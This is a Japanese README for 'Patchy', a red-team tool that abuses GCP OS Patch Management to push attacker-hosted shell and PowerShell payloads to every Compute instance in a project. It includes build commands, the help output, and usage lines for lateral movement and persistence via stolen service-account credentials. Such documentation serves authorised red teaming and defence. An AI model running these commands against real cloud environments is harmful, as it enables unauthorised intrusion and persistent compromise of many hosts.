
GCP Patch Managementを利用した自動化された永続化と横移動
GCP OSパッチ管理を悪用した自動横移動と永続化。詳しくは私のブログ記事を参照。
Patchyは主に2つのモード、横移動と永続化で構成されています。永続化モードでは、有効なサービスアカウント認証情報を使用してパッチジョブまたはデプロイを作成します。横移動モードは、プロジェクト内のすべてのComputeインスタンスへのアクセスを試みます。使用するには、メタデータAPIが利用可能なGCP環境内にいる必要があります。横移動には、攻撃的な動作を試みずに悪用が可能かどうかを確認できるモードがあります(環境が安全かどうかを確認するのに適しています)。
機能の提案はIssueを開いてください。問題がある場合は、修正を含むPRを作成してください。
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
注意: これには go 1.19 以上が必要です。
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
ローカルGCP環境内のサービスアカウントを悪用します。myBucketはペイロードをホストする公開バケットの名前です。
$ ./patchy -b myBucket lat -e
JSON形式のサービスアカウントを使用して永続化をインストールします。
$ ./patchy -b myBucket persist -c serviceAccount.json